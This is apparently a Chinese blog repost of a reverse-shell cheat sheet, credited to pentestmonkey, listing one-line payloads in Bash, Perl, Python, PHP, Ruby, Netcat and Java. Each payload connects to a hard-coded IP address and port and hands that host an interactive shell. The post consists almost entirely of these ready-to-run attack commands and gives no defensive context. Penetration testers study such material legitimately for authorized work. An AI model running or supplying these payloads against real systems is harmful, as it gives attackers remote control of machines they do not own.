cszer

反弹shell的方法汇总(转)

分类: 技术, 安全   标签:    评论: 6   阅读:1,827 views

Bash(在ubuntu12.10下测试通过)

1
bash -i >& /dev/tcp/211.152.83.2/1234 0>&1

PERL

1
perl -e 'use Socket;$i="211.152.83.2";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("211.152.83.2",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP(需要启用php的fsockopen函数)

1
php -r '$sock=fsockopen("211.152.83.2",1234);exec("/bin/sh -i < &3 >&3 2>&3");'

Ruby

1
ruby -rsocket -e'f=TCPSocket.open("211.152.83.2",1234).to_i;exec sprintf("/bin/sh -i < &%d >&%d 2>&%d",f,f,f)'

Netcat

1
2
3
nc -e /bin/sh 211.152.83.2 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 211.152.83.2 1234 >/tmp/f
nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

Java

1
2
3
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/211.152.83.2/1234;cat < &5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

来自:http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

除非注明,文章皆由( csz )原创,转载请标明本文地址
本文地址: http://www.cszhi.com/20131216/reverse-shell.html

12-16
2013

发表评论